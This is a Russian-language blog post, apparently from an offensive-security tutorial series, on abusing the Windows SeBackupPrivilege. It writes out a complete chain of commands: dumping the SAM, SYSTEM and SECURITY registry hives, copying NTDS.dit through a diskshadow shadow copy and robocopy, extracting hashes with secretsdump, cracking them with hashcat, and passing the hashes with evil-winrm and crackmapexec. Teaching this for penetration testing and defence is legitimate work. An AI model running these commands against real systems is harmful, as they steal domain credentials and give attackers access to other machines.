Эта серия статей о повышении привелегий в системе за счет использования различных привелегий которыми обладает пользователь.
SeBackupPrivilege #
В этой статье пойдет речь о том, как можно эксплуатировать привелегию SeBackupPrivilege
путем извлечения хешей
паролей из локальной базы данных SAM
или из NTDS.dit
контроллера домена.
whoami /priv

SAM #
Security Account Manager (SAM)
— это локальная база данных пользователей, содержащая информацию о локальных
учётных записях (тех, которые существуют только на данном компьютере, а не в домене). Содержит хэши
паролей для локальных пользователей.
SYSTEM #
Хэши паролей в SAM
зашифрованы с использованием ключей, хранящихся в SYSTEM
. Для того, чтобы их скопировать достаточно
выполнить пару команд, при условии, что пользователь обладает правами SeBackupPrivilege
.
cd c:\
mkdir Temp
reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system
Далее необходимо извлечь хэши, например с помощью impacket-secretsdump
.
impacket-secretsdump -system system -sam sam LOCAL

SECURITY #
В ветке реестра hklm\security
хранятся закэшированные пароли пользователей домена, которые логинились на эту
машину. Мы точно также можем извлечь эти хеши, как и из SAM
.
reg save hklm\security C:\Temp\security
Извлечение хэшей
secretsdump.py -system system -security security LOCAL
NTDS.dit #
Если есть доступ к контроллеру домена и пользователю у которого есть привелегия SeBackupPrivilege
, то мы можем
извлечь файл NTDS.dit
в котором хранятся NTLM-хэши паролей и Kerberos
ключи от всех пользователей домена.
Но с копированием NTDS.dit
есть одна особенность. Файл NTDS.dit
не может быть скопирован напрямую, так как он
постоянно используется системой и заблокирован для доступа. Для его извлечения используется техника создания
теневой копии (Volume Shadow Copy
), которая позволяет создать консистентный снимок тома и безопасно скопировать
файл без нарушения работы системы.
Создание теневой копии #
Для создания теневой копии мы будем использовать утилиту Diskshadow
.
Diskshadow #
Создадим файл script.txt
.
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
set metadata
: Указывает место хранения метаданных.set context clientaccessible
: Копия будет доступна для чтения.set context persistent
: Теневая копия не будет удалена автоматически.add volume C:
: Указывает, что мы создаём теневую копию для томаC:
.expose %cdrive% E:
: Монтирует теневую копию как дискE:
.
Запускаем создание теневой копии:
diskshadow /s script.txt
Если возникла ошибка с выполнением скрипта, то скорее всего проблема заключается в кодировке или переносе строк.

Это можно попробовать исправить из PowerShell
.
Get-Content script.txt | Set-Content -Encoding ASCII fixed_script.txt
И снова запустить diskshadow
diskshadow /s fixed_script.txt

Копирование NTDS.dit #
Для этого воспользуемся утилитой robocopy
. Флаг /b
(Backup Mode)
позволяет обходить ACL
и копировать защищённые файлы с использованием привилегии SeBackupPrivilege
.
robocopy /b E:\Windows\NTDS\ C:\Temp\ ntds.dit
Извлечение хешей #
impacket-secretsdump -system system -ntds ntds.dit LOCAL

Cleanup #
Демонтирование теневой копии.
Команда:
delete shadows volume c:
Сохраним ее в файл unmount.txt
и запустим diskshadow
.
diskshadow /s unmount.txt
Post Exploitation #
Hash cracking #
С помощью Hashcat
мы можем попробовать подобрать пароли к полученным хэшам.
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
Pass the hash #
Если хэши взломать не удалось, то их можно использовать в различных утилитах выполняя атаку pass-the-hash
.
Пару примеров ниже:
evil-winrm #
evil-winrm -i <target_ip> -u <username> -H <NTLM-хэш>
crackmapexec #
crackmapexec smb <target_ip> -u <username> -H <NTLM-хэш>
Заключение #
Со временем я буду пополнять серию новыми статьями по данной теме, используйте меню вверху и внизу страницы для навигации.
Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!